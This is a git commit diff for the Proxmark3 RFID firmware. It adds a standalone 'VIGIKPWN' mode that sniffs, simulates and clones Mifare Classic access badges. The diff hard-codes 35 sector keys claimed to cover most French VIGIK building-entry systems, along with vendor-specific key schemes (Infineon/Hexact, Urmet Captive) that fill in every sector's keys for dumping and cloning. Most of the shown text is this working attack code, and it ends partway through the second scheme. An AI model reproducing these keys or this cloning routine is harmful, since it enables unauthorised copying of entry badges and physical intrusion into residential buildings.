ADD: New standalone mode by (@cjbrigato) Excellent work!

This commit is contained in:
iceman1001 2017-10-20 15:29:33 +02:00
parent 094f3dea0b
commit 3108293c1f
6 changed files with 717 additions and 251 deletions

5
.gitignore vendored
View file

@ -16,7 +16,6 @@
*.moc.cpp *.moc.cpp
*.z *.z
!client/hardnested/tables/*.z !client/hardnested/tables/*.z
usb_cmd.lua
version.c version.c
client/ui/ui_overlays.h client/ui/ui_overlays.h
*.Td *.Td
@ -47,3 +46,7 @@ fpga/*
#client/* #client/*
# my own traces folder # my own traces folder
client/traces/* client/traces/*
client/lualibs/mf_default_keys.lua
client/lualibs/usb_cmd.lua

View file

@ -4,6 +4,11 @@ This project uses the changelog in accordance with [keepchangelog](http://keepac
## [unreleased][unreleased] ## [unreleased][unreleased]
- Added new standalone mode "HF Mifare ultra fast sniff/sim/clone - aka VIGIKPWN" (@cjbrigato)
### Fixed
- Changed start sequence in Qt mode (fix: short commands hangs main Qt thread) (Merlok)
## [ice.3.1.0][2017-09-26] ## [ice.3.1.0][2017-09-26]
- proxmark3 client can reconnect to device without restart (iceman) - proxmark3 client can reconnect to device without restart (iceman)
- lots of bug fixes (many many) - lots of bug fixes (many many)

View file

@ -37,6 +37,7 @@ APP_CFLAGS = -DWITH_CRC \
# -DWITH_LF_HIDCORP # -DWITH_LF_HIDCORP
# -DWITH_HF_YOUNG # -DWITH_HF_YOUNG
# -DWITH_HF_MATTYRUN # -DWITH_HF_MATTYRUN
# -DWITH_HF_COLIN
SRC_LCD = fonts.c LCD.c SRC_LCD = fonts.c LCD.c

View file

@ -10,32 +10,77 @@
//----------------------------------------------------------------------------- //-----------------------------------------------------------------------------
#include "hf_colin.h" #include "hf_colin.h"
// Colin's sniff and repeat routine for HF Mifare #define MF1KSZ 1024
#define MF1KSZSIZE 64
#define FALSE false
#define TRUE true
#define AUTHENTICATION_TIMEOUT 848
uint8_t cjuid[10];
uint32_t cjcuid;
// Colin's VIGIKPWN sniff/simulate/clone repeat routine for HF Mifare
void RunMod() { void RunMod() {
/* Messy messy */ FpgaDownloadAndGo(FPGA_BITSTREAM_HF);
#define MF1KSZ 1024
#define MF1KSZSIZE 64
/* some mess forgotten to get rid of */
uint8_t sectorsCnt = (mifare_size / sectorSize);
uint64_t key64;
uint8_t *keyBlock = NULL;
/* know number of known keys for standalone mode */ // bool printKeys = false;
#define STKEYS 35 // bool simulation = true; // Simulates an exact copy of the target tag
uint64_t mfKeys[STKEYS] = { // bool fillFromEmulator = true; // Dump emulator memory.
// We should get rid of this sh;
// uint8_t blockNo = 3; // Security block is number 3 for each sector.
uint8_t sectorsCnt = (MF1KSZ / MF1KSZSIZE);
uint64_t key64; // Defines current key
uint8_t *keyBlock = NULL; // Where the keys will be held in memory.
/*
Set of keys to be used.
This should cover ~98% of
French VIGIK system @2017
*/
/* know number of known keys for standalone mode */
//#define STKEYS 35
#define STKEYS 35
const uint64_t mfKeys[STKEYS] = {
0xffffffffffff, // TRANSPORTS 0xffffffffffff, // TRANSPORTS
0x000000000000, // Blankkey
0x484558414354, // INFINEONON A / 0F SEC B
0x414c41524f4e, // ALARON NORALSY 0x414c41524f4e, // ALARON NORALSY
0x424c41524f4e, // BLARON NORALSY 0x424c41524f4e, // BLARON NORALSY
0x8829da9daf76, // URMET CAPTIV IF A => ALL A/B 0x8829da9daf76, // URMET CAPTIV IF A => ALL A/B
0xa0a1a2a3a4a5, // PUBLIC BLOC0 BTICINO HARDENED & MAD ACCESS 0xb0b1b2b3b4b5, // NA
0x021209197591, // BTCINO HARDENED UNDETERMINED SPREAKD 0x01->0x13 key 0xaabbccddeeff, // NA
0x484558414354, // INFINEON ON A / 0F SEC B 0x4d3a99c351dd, // NA
/* . . * / 0x1a982c7e459a, // NA
} 0xd3f7d3f7d3f7, // NA
0x714c5c886e97, // NA
0x587ee5f9350f, // NA
0xa0478cc39091, // NA
0x533cb6c723f6, // NA
0x8fd0a4f256e9, // NA
0xa0a1a2a3a4a5, // PUBLIC BLOC0 BTICINO MAD ACCESS
0x021209197591, // BTCINO UNDETERMINED SPREAKD 0x01->0x13 key
0xa22ae129c013, // INFINEON B 00
0x49fae4e3849f, // INFINEON B 01
0x38fcf33072e0, // INFINEON B 02
0x8ad5517b4b18, // INFINEON B 03
0x509359f131b1, // INFINEON B 04
0x6c78928e1317, // INFINEON B 05
0xaa0720018738, // INFINEON B 06
0xa6cac2886412, // INFINEON B 07
0x62d0c424ed8e, // INFINEON B 08
0xe64a986a5d94, // INFINEON B 09
0x8fa1d601d0a2, // INFINEON B 0A
0x89347350bd36, // INFINEON B 0B
0x66d2b7dc39ef, // INFINEON B 0C
0x6bc1e1ae547d, // INFINEON B 0D
0x22729a9bd40f // INFINEON B 0E
};
/* Can remember something like that in case of Bigbuf */ /* Can remember something like that in case of Bigbuf */
keyBlock = BigBuf_malloc(STKEYS * 6); keyBlock = BigBuf_malloc(STKEYS * 6);
int mfKeysCnt = sizeof(mfKeys) / sizeof(uint64_t); int mfKeysCnt = sizeof(mfKeys) / sizeof(uint64_t);
@ -43,313 +88,680 @@ void RunMod() {
num_to_bytes(mfKeys[mfKeyCounter], 6, (uint8_t *)(keyBlock + mfKeyCounter * 6)); num_to_bytes(mfKeys[mfKeyCounter], 6, (uint8_t *)(keyBlock + mfKeyCounter * 6));
} }
uint8_t sectorsCnt = (MF1KSZ / MF1KSZSIZE); /* TODO : remember why we actually had need to initialize this array in such specific case
uint8_t foundKey[2][40][6]= {0xff}; /* C99 abusal 6.7.8.21 */ and why not a simple memset abuse to 0xffize the whole space in one go ? */
/* TODO : remember why we actually had need to initialize this array in such specific case */ // uint8_t foundKey[2][40][6]; //= [ {0xff} ]; /* C99 abusal 6.7.8.21 */
/* and why not a simple memset abuse to 0xffize the whole space in one go ? */
uint8_t foundKey[2][40][6];
for (uint16_t t = 0; t < 2; t++) {
for (uint16_t sectorNo = 0; sectorNo < sectorsCnt; sectorNo++) {
// validKey[t][sectorNo] = false;
for (uint16_t i = 0; i < 6; i++) {
foundKey[t][sectorNo][i] = 0xff;
}
}
}
int key = -1; int key = -1;
int block = 0; // int block = 0;
bool err = 0; bool err = 0;
bool trapped = 0; bool trapped = 0;
uint32_t size = mfKeysCnt; /* whats the point for copy ? int should be uint32_t in this case, same deal */ bool allKeysFound = true;
Dbprintf("...Waiting For Tag..."); uint32_t size = mfKeysCnt; /* whats the point for copy ? int should be
iso14443a_setup(FPGA_HF_ISO14443A_READER_LISTEN); uint32_t in this case, same deal */
while (!iso14443a_select_card(cjuid, NULL, &cjcuid, true, 0, true)) { LED_A_OFF();
WDT_HIT(); LED_B_OFF();
} LED_C_OFF();
FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); LED_D_OFF();
SpinDelay(100); LED_A_ON();
Dbprintf("Got tag : %02x%02x%02x%02x", at91stdio_explode(cjuid, &cjcuid));
uint32_t end_time; Dbprintf("%s>>%s C.J.B's MifareFastPwn Started", _RED_, _WHITE_);
uint32_t start_time = end_time = GetTickCount(); Dbprintf("...Waiting For Tag...");
iso14443a_setup(FPGA_HF_ISO14443A_READER_LISTEN);
while (!iso14443a_select_card(cjuid, NULL, &cjcuid, true, 0, true)) {
WDT_HIT();
}
FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF);
// SpinDelay(100);
SpinDelay(200);
/* then lets expose this “optimal case” of “well known vigik schemes” : */ // Dbprintf("Got tag : %02x%02x%02x%02x", at91stdio_explode(cjuid, &cjcuid));
for (uint8_t type = 0; type < 2 && !err && !trapped; type++) { Dbprintf("Got tag : %02x%02x%02x%02x", cjuid[0], cjuid[1], cjuid[2], cjuid[3]);
uint32_t end_time;
uint32_t start_time = end_time = GetTickCount();
/////////////////////////////////////////////////////////
// WE SHOULD FIND A WAY TO GET UID TO AVOID THIS "TESTRUN"
// HERE IS TO BE THOUGHT AS ONLY A KEY SHOULD BE CHECK
// THEN WE FILL EMULATOR WITH KEY
// WHEN WE FILL EMULATOR CARD WITH A KEY
// IF THERE IS ANY FAIL DURING ANY POINT, WE START BACK CHECKING B KEYS
// THEN FILL EMULATOR WITH B KEEY
// THEN EMULATOR WITH CARD WITH B KEY
// IF IT HAS FAILED OF ANY OF SORT THEN WE ARE MARRON LIKE POMALO.
// AN EVEN BETTER IMPLEMENTATION IS TO CHECK EVERY KEY FOR SECTOR 0 KEY A
// THEN IF FOUND CHECK THE SAME KEY FOR NEXT SECTOR ONLY KEY A
// THEN IF FAIL CHECK EVERY SECTOR A KEY FOR EVERY OTHER KEY BUT NOT THE BLOCK
// 0 KEY
// THEN TRY TO READ B KEYS FROM KNOWN A KEYS
// IF FAIL, CHECK SECTOR 0 B KEY WITH SECTOR 0 A KEY
// THEN IF FOUND CHECK EVERY SECTOR FOR SAME B KEY
// ELSE IF FAIL CHECK EVERY KEY FOR SECTOR 0 KEY B
// THEN IF FOUND CHECK SAME KEY FOR ONLY NEXT SECTOR KEY B (PROBABLE A KEY IS
// SAME FOR EVERY SECTOR AND B KEY IS SAME FOR EVERY SECTOR WITH JUST A vs B
// DERIVATION
// THEN IF B KEY IS NOT OF THIS SCHEME CHECK EVERY REMAINING B KEYED SECTOR
// WITH EVERY REMAINING KEYS, BUT DISCARDING ANY DEFAULT TRANSPORT KEYS.
/////////////////////////////////////////////////////
// also we could avoid first UID check for every block
/* then lets expose this “optimal case” of “well known vigik schemes” : */
for (uint8_t type = 0; type < 2 && !err && !trapped; type++) {
for (int sec = 0; sec < sectorsCnt && !err && !trapped; ++sec) { for (int sec = 0; sec < sectorsCnt && !err && !trapped; ++sec) {
/* see after for the chk, nothing fancy */
key = cjat91_saMifareChkKeys(sec * 4, type, NULL, size, &keyBlock[0], &key64); key = cjat91_saMifareChkKeys(sec * 4, type, NULL, size, &keyBlock[0], &key64);
// key = saMifareChkKeys(sec * 4, type, NULL, size, &keyBlock[0], &key64);
if (key == -1) { if (key == -1) {
err = 1; err = 1;
allKeysFound = false;
/* used in “portable” imlementation on microcontroller: it reports back the fail and open the standalone lock */ /* used in “portable” imlementation on microcontroller: it reports back the fail and open the standalone lock */
cmd_send(CMD_CJB_FSMSTATE_MENU, 0, 0, 0, 0, 0); // cmd_send(CMD_CJB_FSMSTATE_MENU, 0, 0, 0, 0, 0);
break;
} else if (key == -2) {
err = 1; // Can't select card.
allKeysFound = false;
// cmd_send(CMD_CJB_FSMSTATE_MENU, 0, 0, 0, 0, 0);
break; break;
} else { } else {
/* BRACE YOURSELF : AS LONG AS WE TRAP A KNOWN KEY, WE STOP CHECKING AND ENFORCE KNOWN SCHEMES */
/* BRACE YOURSELF */
/* AS LONG AS WE TRAP A KNOWN KEY, WE STOP CHECKING AND ENFORCE KNOWN SCHEMES */
else {
num_to_bytes(key64, 6, foundKey[type][sec]);
uint8_t tosendkey[12]; uint8_t tosendkey[12];
sprintf(tosendkey, "%02x%02x%02x%02x%02x%02x", num_to_bytes(key64, 6, foundKey[type][sec]);
foundKey[type][sec][0], foundKey[type][sec][1], foundKey[type][sec][2], Dbprintf("SEC: %d ; KEY : %012" PRIx64 " ; TYP: %i", sec, key64, type);
foundKey[type][sec][3], foundKey[type][sec][4], foundKey[type][sec][5] /*cmd_send(CMD_CJB_INFORM_CLIENT_KEY, 12, sec, type, tosendkey, 12);*/
);
cmd_send(CMD_CJB_INFORM_CLIENT_KEY, 12, sec, type, tosendkey, 12);
switch (key64) { switch (key64) {
/////////////////////////////////////////////////////////
// COMMON SCHEME 1 : INFINITRON/HEXACT
case 0x484558414354: case 0x484558414354:
Dbprintf("%c>>>>>>>>>>>>!*STOP*!<<<<<<<<<<<<<<%c", _RED_, _WHITE_); Dbprintf("%s>>>>>>>>>>>>!*STOP*!<<<<<<<<<<<<<<%s", _RED_, _WHITE_);
Dbprintf(" .TAG SEEMS %cDETERMINISTIC%c. ", _GREEN_, _WHITE_); Dbprintf(" .TAG SEEMS %sDETERMINISTIC%s. ", _GREEN_, _WHITE_);
Dbprintf("%cDetected: %c INFI_HEXACT_VIGIK_TAG%c", _ORANGE_, _CYAN_, _WHITE_); Dbprintf("%sDetected: %s INFI_HEXACT_VIGIK_TAG%s", _ORANGE_, _CYAN_, _WHITE_);
Dbprintf("...%c[%cKey_derivation_schemeTest%c]%c...", _YELLOW_,_GREEN_, _YELLOW_, _GREEN_); Dbprintf("...%s[%sKey_derivation_schemeTest%s]%s...", _YELLOW_, _GREEN_, _YELLOW_, _GREEN_);
Dbprintf("%c>>>>>>>>>>>>!*DONE*!<<<<<<<<<<<<<<%c",_GREEN_, _WHITE_); Dbprintf("%s>>>>>>>>>>>>!*DONE*!<<<<<<<<<<<<<<%s", _GREEN_, _WHITE_);
; ;
// Type 0 / A first
uint16_t t = 0; uint16_t t = 0;
for (uint16_t sectorNo = 0; sectorNo < sectorsCnt; sectorNo++) { for (uint16_t sectorNo = 0; sectorNo < sectorsCnt; sectorNo++) {
num_to_bytes(0x484558414354, 6, foundKey[t][sectorNo]); num_to_bytes(0x484558414354, 6, foundKey[t][sectorNo]);
sprintf(tosendkey, "%02x%02x%02x%02x%02x%02x", sprintf(tosendkey, "%02x%02x%02x%02x%02x%02x", foundKey[t][sectorNo][0], foundKey[t][sectorNo][1], foundKey[t][sectorNo][2],
foundKey[t][sectorNo][0], foundKey[t][sectorNo][1], foundKey[t][sectorNo][2], foundKey[t][sectorNo][3], foundKey[t][sectorNo][4], foundKey[t][sectorNo][5]);
foundKey[t][sectorNo][3], foundKey[t][sectorNo][4], foundKey[t][sectorNo][5] Dbprintf("SEC: %d ; KEY : %s ; TYP: %d", sectorNo, tosendkey, t);
);
cmd_send(CMD_CJB_INFORM_CLIENT_KEY, 12, sectorNo, t, tosendkey, 12);
} }
t = 1; t = 1;
uint16_t sectorNo = 0; uint16_t sectorNo = 0;
num_to_bytes(0xa22ae129c013, 6, foundKey[t][sectorNo]); num_to_bytes(0xa22ae129c013, 6, foundKey[t][sectorNo]);
sprintf(tosendkey, "%02x%02x%02x%02x%02x%02x", sprintf(tosendkey, "%02x%02x%02x%02x%02x%02x", foundKey[t][sectorNo][0], foundKey[t][sectorNo][1], foundKey[t][sectorNo][2],
foundKey[t][sectorNo][0], foundKey[t][sectorNo][1], foundKey[t][sectorNo][2], foundKey[t][sectorNo][3], foundKey[t][sectorNo][4], foundKey[t][sectorNo][5]);
foundKey[t][sectorNo][3], foundKey[t][sectorNo][4], foundKey[t][sectorNo][5] Dbprintf("SEC: %d ; KEY : %s ; TYP: %d", sectorNo, tosendkey, t);
);
cmd_send(CMD_CJB_INFORM_CLIENT_KEY, 12, sectorNo, t, tosendkey, 12);
sectorNo = 1; sectorNo = 1;
num_to_bytes(0x49fae4e3849f, 6, foundKey[t][sectorNo]); num_to_bytes(0x49fae4e3849f, 6, foundKey[t][sectorNo]);
sprintf(tosendkey, "%02x%02x%02x%02x%02x%02x", sprintf(tosendkey, "%02x%02x%02x%02x%02x%02x", foundKey[t][sectorNo][0], foundKey[t][sectorNo][1], foundKey[t][sectorNo][2],
foundKey[t][sectorNo][0], foundKey[t][sectorNo][1], foundKey[t][sectorNo][2], foundKey[t][sectorNo][3], foundKey[t][sectorNo][4], foundKey[t][sectorNo][5]);
foundKey[t][sectorNo][3], foundKey[t][sectorNo][4], foundKey[t][sectorNo][5] Dbprintf("SEC: %d ; KEY : %s ; TYP: %d", sectorNo, tosendkey, t);
);
cmd_send(CMD_CJB_INFORM_CLIENT_KEY, 12, sectorNo, t, tosendkey, 12);
sectorNo = 2; sectorNo = 2;
num_to_bytes(0x38fcf33072e0, 6, foundKey[t][sectorNo]); num_to_bytes(0x38fcf33072e0, 6, foundKey[t][sectorNo]);
sprintf(tosendkey, "%02x%02x%02x%02x%02x%02x", sprintf(tosendkey, "%02x%02x%02x%02x%02x%02x", foundKey[t][sectorNo][0], foundKey[t][sectorNo][1], foundKey[t][sectorNo][2],
foundKey[t][sectorNo][0], foundKey[t][sectorNo][1], foundKey[t][sectorNo][2], foundKey[t][sectorNo][3], foundKey[t][sectorNo][4], foundKey[t][sectorNo][5]);
foundKey[t][sectorNo][3], foundKey[t][sectorNo][4], foundKey[t][sectorNo][5] Dbprintf("SEC: %d ; KEY : %s ; TYP: %d", sectorNo, tosendkey, t);
);
cmd_send(CMD_CJB_INFORM_CLIENT_KEY, 12, sectorNo, t, tosendkey, 12);
sectorNo = 3; sectorNo = 3;
num_to_bytes(0x8ad5517b4b18, 6, foundKey[t][sectorNo]); num_to_bytes(0x8ad5517b4b18, 6, foundKey[t][sectorNo]);
sprintf(tosendkey, "%02x%02x%02x%02x%02x%02x", sprintf(tosendkey, "%02x%02x%02x%02x%02x%02x", foundKey[t][sectorNo][0], foundKey[t][sectorNo][1], foundKey[t][sectorNo][2],
foundKey[t][sectorNo][0], foundKey[t][sectorNo][1], foundKey[t][sectorNo][2], foundKey[t][sectorNo][3], foundKey[t][sectorNo][4], foundKey[t][sectorNo][5]);
foundKey[t][sectorNo][3], foundKey[t][sectorNo][4], foundKey[t][sectorNo][5] Dbprintf("SEC: %d ; KEY : %s ; TYP: %d", sectorNo, tosendkey, t);
);
cmd_send(CMD_CJB_INFORM_CLIENT_KEY, 12, sectorNo, t, tosendkey, 12);
sectorNo = 4; sectorNo = 4;
num_to_bytes(0x509359f131b1, 6, foundKey[t][sectorNo]); num_to_bytes(0x509359f131b1, 6, foundKey[t][sectorNo]);
sprintf(tosendkey, "%02x%02x%02x%02x%02x%02x", sprintf(tosendkey, "%02x%02x%02x%02x%02x%02x", foundKey[t][sectorNo][0], foundKey[t][sectorNo][1], foundKey[t][sectorNo][2],
foundKey[t][sectorNo][0], foundKey[t][sectorNo][1], foundKey[t][sectorNo][2], foundKey[t][sectorNo][3], foundKey[t][sectorNo][4], foundKey[t][sectorNo][5]);
foundKey[t][sectorNo][3], foundKey[t][sectorNo][4], foundKey[t][sectorNo][5] Dbprintf("SEC: %d ; KEY : %s ; TYP: %d", sectorNo, tosendkey, t);
);
cmd_send(CMD_CJB_INFORM_CLIENT_KEY, 12, sectorNo, t, tosendkey, 12);
sectorNo = 5; sectorNo = 5;
num_to_bytes(0x6c78928e1317, 6, foundKey[t][sectorNo]); num_to_bytes(0x6c78928e1317, 6, foundKey[t][sectorNo]);
sprintf(tosendkey, "%02x%02x%02x%02x%02x%02x", sprintf(tosendkey, "%02x%02x%02x%02x%02x%02x", foundKey[t][sectorNo][0], foundKey[t][sectorNo][1], foundKey[t][sectorNo][2],
foundKey[t][sectorNo][0], foundKey[t][sectorNo][1], foundKey[t][sectorNo][2], foundKey[t][sectorNo][3], foundKey[t][sectorNo][4], foundKey[t][sectorNo][5]);
foundKey[t][sectorNo][3], foundKey[t][sectorNo][4], foundKey[t][sectorNo][5] Dbprintf("SEC: %d ; KEY : %s ; TYP: %d", sectorNo, tosendkey, t);
);
cmd_send(CMD_CJB_INFORM_CLIENT_KEY, 12, sectorNo, t, tosendkey, 12);
sectorNo = 6; sectorNo = 6;
num_to_bytes(0xaa0720018738, 6, foundKey[t][sectorNo]); num_to_bytes(0xaa0720018738, 6, foundKey[t][sectorNo]);
sprintf(tosendkey, "%02x%02x%02x%02x%02x%02x", sprintf(tosendkey, "%02x%02x%02x%02x%02x%02x", foundKey[t][sectorNo][0], foundKey[t][sectorNo][1], foundKey[t][sectorNo][2],
foundKey[t][sectorNo][0], foundKey[t][sectorNo][1], foundKey[t][sectorNo][2], foundKey[t][sectorNo][3], foundKey[t][sectorNo][4], foundKey[t][sectorNo][5]);
foundKey[t][sectorNo][3], foundKey[t][sectorNo][4], foundKey[t][sectorNo][5] Dbprintf("SEC: %d ; KEY : %s ; TYP: %d", sectorNo, tosendkey, t);
);
cmd_send(CMD_CJB_INFORM_CLIENT_KEY, 12, sectorNo, t, tosendkey, 12);
sectorNo = 7; sectorNo = 7;
num_to_bytes(0xa6cac2886412, 6, foundKey[t][sectorNo]); num_to_bytes(0xa6cac2886412, 6, foundKey[t][sectorNo]);
sprintf(tosendkey, "%02x%02x%02x%02x%02x%02x", sprintf(tosendkey, "%02x%02x%02x%02x%02x%02x", foundKey[t][sectorNo][0], foundKey[t][sectorNo][1], foundKey[t][sectorNo][2],
foundKey[t][sectorNo][0], foundKey[t][sectorNo][1], foundKey[t][sectorNo][2], foundKey[t][sectorNo][3], foundKey[t][sectorNo][4], foundKey[t][sectorNo][5]);
foundKey[t][sectorNo][3], foundKey[t][sectorNo][4], foundKey[t][sectorNo][5] Dbprintf("SEC: %d ; KEY : %s ; TYP: %d", sectorNo, tosendkey, t);
);
cmd_send(CMD_CJB_INFORM_CLIENT_KEY, 12, sectorNo, t, tosendkey, 12);
sectorNo = 8; sectorNo = 8;
num_to_bytes(0x62d0c424ed8e, 6, foundKey[t][sectorNo]); num_to_bytes(0x62d0c424ed8e, 6, foundKey[t][sectorNo]);
sprintf(tosendkey, "%02x%02x%02x%02x%02x%02x", sprintf(tosendkey, "%02x%02x%02x%02x%02x%02x", foundKey[t][sectorNo][0], foundKey[t][sectorNo][1], foundKey[t][sectorNo][2],
foundKey[t][sectorNo][0], foundKey[t][sectorNo][1], foundKey[t][sectorNo][2], foundKey[t][sectorNo][3], foundKey[t][sectorNo][4], foundKey[t][sectorNo][5]);
foundKey[t][sectorNo][3], foundKey[t][sectorNo][4], foundKey[t][sectorNo][5] Dbprintf("SEC: %d ; KEY : %s ; TYP: %d", sectorNo, tosendkey, t);
);
cmd_send(CMD_CJB_INFORM_CLIENT_KEY, 12, sectorNo, t, tosendkey, 12);
sectorNo = 9; sectorNo = 9;
num_to_bytes(0xe64a986a5d94, 6, foundKey[t][sectorNo]); num_to_bytes(0xe64a986a5d94, 6, foundKey[t][sectorNo]);
sprintf(tosendkey, "%02x%02x%02x%02x%02x%02x", sprintf(tosendkey, "%02x%02x%02x%02x%02x%02x", foundKey[t][sectorNo][0], foundKey[t][sectorNo][1], foundKey[t][sectorNo][2],
foundKey[t][sectorNo][0], foundKey[t][sectorNo][1], foundKey[t][sectorNo][2], foundKey[t][sectorNo][3], foundKey[t][sectorNo][4], foundKey[t][sectorNo][5]);
foundKey[t][sectorNo][3], foundKey[t][sectorNo][4], foundKey[t][sectorNo][5] Dbprintf("SEC: %d ; KEY : %s ; TYP: %d", sectorNo, tosendkey, t);
);
cmd_send(CMD_CJB_INFORM_CLIENT_KEY, 12, sectorNo, t, tosendkey, 12);
sectorNo = 10; sectorNo = 10;
num_to_bytes(0x8fa1d601d0a2, 6, foundKey[t][sectorNo]); num_to_bytes(0x8fa1d601d0a2, 6, foundKey[t][sectorNo]);
sprintf(tosendkey, "%02x%02x%02x%02x%02x%02x", sprintf(tosendkey, "%02x%02x%02x%02x%02x%02x", foundKey[t][sectorNo][0], foundKey[t][sectorNo][1], foundKey[t][sectorNo][2],
foundKey[t][sectorNo][0], foundKey[t][sectorNo][1], foundKey[t][sectorNo][2], foundKey[t][sectorNo][3], foundKey[t][sectorNo][4], foundKey[t][sectorNo][5]);
foundKey[t][sectorNo][3], foundKey[t][sectorNo][4], foundKey[t][sectorNo][5] Dbprintf("SEC: %d ; KEY : %s ; TYP: %d", sectorNo, tosendkey, t);
);
cmd_send(CMD_CJB_INFORM_CLIENT_KEY, 12, sectorNo, t, tosendkey, 12);
sectorNo = 11; sectorNo = 11;
num_to_bytes(0x89347350bd36, 6, foundKey[t][sectorNo]); num_to_bytes(0x89347350bd36, 6, foundKey[t][sectorNo]);
sprintf(tosendkey, "%02x%02x%02x%02x%02x%02x", sprintf(tosendkey, "%02x%02x%02x%02x%02x%02x", foundKey[t][sectorNo][0], foundKey[t][sectorNo][1], foundKey[t][sectorNo][2],
foundKey[t][sectorNo][0], foundKey[t][sectorNo][1], foundKey[t][sectorNo][2], foundKey[t][sectorNo][3], foundKey[t][sectorNo][4], foundKey[t][sectorNo][5]);
foundKey[t][sectorNo][3], foundKey[t][sectorNo][4], foundKey[t][sectorNo][5] Dbprintf("SEC: %d ; KEY : %s ; TYP: %d", sectorNo, tosendkey, t);
);
cmd_send(CMD_CJB_INFORM_CLIENT_KEY, 12, sectorNo, t, tosendkey, 12);
sectorNo = 12; sectorNo = 12;
num_to_bytes(0x66d2b7dc39ef, 6, foundKey[t][sectorNo]); num_to_bytes(0x66d2b7dc39ef, 6, foundKey[t][sectorNo]);
sprintf(tosendkey, "%02x%02x%02x%02x%02x%02x", sprintf(tosendkey, "%02x%02x%02x%02x%02x%02x", foundKey[t][sectorNo][0], foundKey[t][sectorNo][1], foundKey[t][sectorNo][2],
foundKey[t][sectorNo][0], foundKey[t][sectorNo][1], foundKey[t][sectorNo][2], foundKey[t][sectorNo][3], foundKey[t][sectorNo][4], foundKey[t][sectorNo][5]);
foundKey[t][sectorNo][3], foundKey[t][sectorNo][4], foundKey[t][sectorNo][5] Dbprintf("SEC: %d ; KEY : %s ; TYP: %d", sectorNo, tosendkey, t);
);
cmd_send(CMD_CJB_INFORM_CLIENT_KEY, 12, sectorNo, t, tosendkey, 12);
sectorNo = 13; sectorNo = 13;
num_to_bytes(0x6bc1e1ae547d, 6, foundKey[t][sectorNo]); num_to_bytes(0x6bc1e1ae547d, 6, foundKey[t][sectorNo]);
sprintf(tosendkey, "%02x%02x%02x%02x%02x%02x", sprintf(tosendkey, "%02x%02x%02x%02x%02x%02x", foundKey[t][sectorNo][0], foundKey[t][sectorNo][1], foundKey[t][sectorNo][2],
foundKey[t][sectorNo][0], foundKey[t][sectorNo][1], foundKey[t][sectorNo][2], foundKey[t][sectorNo][3], foundKey[t][sectorNo][4], foundKey[t][sectorNo][5]);
foundKey[t][sectorNo][3], foundKey[t][sectorNo][4], foundKey[t][sectorNo][5] Dbprintf("SEC: %d ; KEY : %s ; TYP: %d", sectorNo, tosendkey, t);
);
cmd_send(CMD_CJB_INFORM_CLIENT_KEY, 12, sectorNo, t, tosendkey, 12);
sectorNo = 14; sectorNo = 14;
num_to_bytes(0x22729a9bd40f, 6, foundKey[t][sectorNo]); num_to_bytes(0x22729a9bd40f, 6, foundKey[t][sectorNo]);
sprintf(tosendkey, "%02x%02x%02x%02x%02x%02x", sprintf(tosendkey, "%02x%02x%02x%02x%02x%02x", foundKey[t][sectorNo][0], foundKey[t][sectorNo][1], foundKey[t][sectorNo][2],
foundKey[t][sectorNo][0], foundKey[t][sectorNo][1], foundKey[t][sectorNo][2], foundKey[t][sectorNo][3], foundKey[t][sectorNo][4], foundKey[t][sectorNo][5]);
foundKey[t][sectorNo][3], foundKey[t][sectorNo][4], foundKey[t][sectorNo][5] Dbprintf("SEC: %d ; KEY : %s ; TYP: %d", sectorNo, tosendkey, t);
);
cmd_send(CMD_CJB_INFORM_CLIENT_KEY, 12, sectorNo, t, tosendkey, 12);
sectorNo = 15; sectorNo = 15;
num_to_bytes(0x484558414354, 6, foundKey[t][sectorNo]); num_to_bytes(0x484558414354, 6, foundKey[t][sectorNo]);
sprintf(tosendkey, "%02x%02x%02x%02x%02x%02x", sprintf(tosendkey, "%02x%02x%02x%02x%02x%02x", foundKey[t][sectorNo][0], foundKey[t][sectorNo][1], foundKey[t][sectorNo][2],
foundKey[t][sectorNo][0], foundKey[t][sectorNo][1], foundKey[t][sectorNo][2], foundKey[t][sectorNo][3], foundKey[t][sectorNo][4], foundKey[t][sectorNo][5]);
foundKey[t][sectorNo][3], foundKey[t][sectorNo][4], foundKey[t][sectorNo][5] Dbprintf("SEC: %d ; KEY : %s ; TYP: %d", sectorNo, tosendkey, t);
);
cmd_send(CMD_CJB_INFORM_CLIENT_KEY, 12, sectorNo, t, tosendkey, 12);
trapped = 1; trapped = 1;
break; break;
////////////////END OF SCHEME 1//////////////////////////////
///////////////////////////////////////
// COMMON SCHEME 2 : URMET CAPTIVE / COGELEC!/?
case 0x8829da9daf76: case 0x8829da9daf76:
Dbprintf("%c>>>>>>>>>>>>!*STOP*!<<<<<<<<<<<<<<%c", _RED_, _WHITE_); Dbprintf("%s>>>>>>>>>>>>!*STOP*!<<<<<<<<<<<<<<%s", _RED_, _WHITE_);
Dbprintf(" .TAG SEEMS %cDETERMINISTIC%c. ", _GREEN_, _WHITE_); Dbprintf(" .TAG SEEMS %sDETERMINISTIC%s. ", _GREEN_, _WHITE_);
Dbprintf("%cDetected :%cURMET_CAPTIVE_VIGIK_TAG%c", _ORANGE_, _CYAN_, _WHITE_); Dbprintf("%sDetected :%sURMET_CAPTIVE_VIGIK_TAG%s", _ORANGE_, _CYAN_, _WHITE_);
Dbprintf("...%c[%cKey_derivation_schemeTest%c]%c...", _YELLOW_, _GREEN_, _YELLOW_, _GREEN_); Dbprintf("...%s[%sKey_derivation_schemeTest%s]%s...", _YELLOW_, _GREEN_, _YELLOW_, _GREEN_);
Dbprintf("%c>>>>>>>>>>>>!*DONE*!<<<<<<<<<<<<<<%c",_GREEN_, _WHITE_); Dbprintf("%s>>>>>>>>>>>>!*DONE*!<<<<<<<<<<<<<<%s", _GREEN_, _WHITE_);
// emlClearMem(); // emlClearMem();
// A very weak one...
for (uint16_t t = 0; t < 2; t++) { for (uint16_t t = 0; t < 2; t++) {
for (uint16_t sectorNo = 0; sectorNo < sectorsCnt; sectorNo++) { for (uint16_t sectorNo = 0; sectorNo < sectorsCnt; sectorNo++) {
// validKey[t][sectorNo] = true;
num_to_bytes(key64, 6, foundKey[t][sectorNo]); num_to_bytes(key64, 6, foundKey[t][sectorNo]);
sprintf(tosendkey, "%02x%02x%02x%02x%02x%02x", sprintf(tosendkey, "%02x%02x%02x%02x%02x%02x", foundKey[t][sectorNo][0], foundKey[t][sectorNo][1], foundKey[t][sectorNo][2],
foundKey[t][sectorNo][0], foundKey[t][sectorNo][1], foundKey[t][sectorNo][2], foundKey[t][sectorNo][3], foundKey[t][sectorNo][4], foundKey[t][sectorNo][5]);
